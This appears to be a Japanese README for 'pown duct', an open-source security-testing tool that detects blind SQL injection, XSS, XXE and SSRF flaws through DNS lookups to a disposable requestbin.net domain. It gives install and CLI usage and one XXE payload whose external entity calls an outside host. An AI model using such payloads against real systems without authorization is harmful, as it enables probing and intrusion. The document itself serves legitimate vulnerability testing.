
DNS サイドチャネルを使用したブラインドインジェクション攻撃の検出に不可欠なツール。
このツールは secapps.com のオープンソースイニシアチブの一部です。
___ ___ ___ _ ___ ___ ___
/ __| __/ __| /_\ | _ \ _ \/ __|
\__ \ _| (__ / _ \| _/ _/\__ \
|___/___\___/_/ \_\_| |_| |___/
https://secapps.com
注: このツールは http://requestbin.net サービスを利用しています。将来のバージョンでは、専用のカスタム構築インフラストラクチャを使用する予定です。
このツールは Pown.js の一部として使用することを想定していますが、独立したツールとして個別に呼び出すこともできます。
まず、通常通り Pown をインストールします。
$ npm install -g pown@latest
Pown から直接呼び出します。
$ pown duct
または、プロジェクトのルートからこのモジュールをローカルにインストールします。
$ npm install @pown/duct --save
インストール後、pown cli を呼び出します。
$ ./node_modules/.bin/pown-cli duct
グローバルの pown を使用してローカルでツールを呼び出すこともできます。
$ POWN_ROOT=. pown duct
pown duct <command>
Side-channel attack enabler
Commands:
pown duct dns DNS ducting
Options:
--version Show version number [boolean]
--help Show help [boolean]
pown duct dnspown duct dns
DNS ducting
Options:
--version Show version number [boolean]
--help Show help [boolean]
--channel Restore channel [string]
--output Output format [string] [choices: "string", "hexdump", "json"] [default: "string"]
SQL インジェクション、XSS、XXE、SSRF などの攻撃を実行する必要がある場合でも、ターゲットアプリケーションが脆弱性の兆候を示さないことがあります。脆弱性が存在するかどうかを確認する方法の 1 つは、有効な攻撃ベクターを注入し、DNS リゾルバーが制御されたドメインに問い合わせるように強制することです。解決が成功した場合、攻撃は成功とみなされます。
注意: Burp Collaborator に馴染みがあるかもしれません。Burp Collaborator は顧客向けに同様のサービスを提供しています。
まず、使い捨ての DNS 名を解決する必要があります。
$ pown duct dns
screenshot
提供された DNS を使用してペイロードを作成します。たとえば、以下のコードは XXE 脆弱性が存在する場合に DNS 解決をトリガーする可能性があります。
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM "http://showmethemoney.bfa8b8d3c25f09d5429f.d.requestbin.net">
]>
<foo>
&bar;
</foo>
攻撃が成功した場合、ターミナルにメッセージが表示されます。
screenshot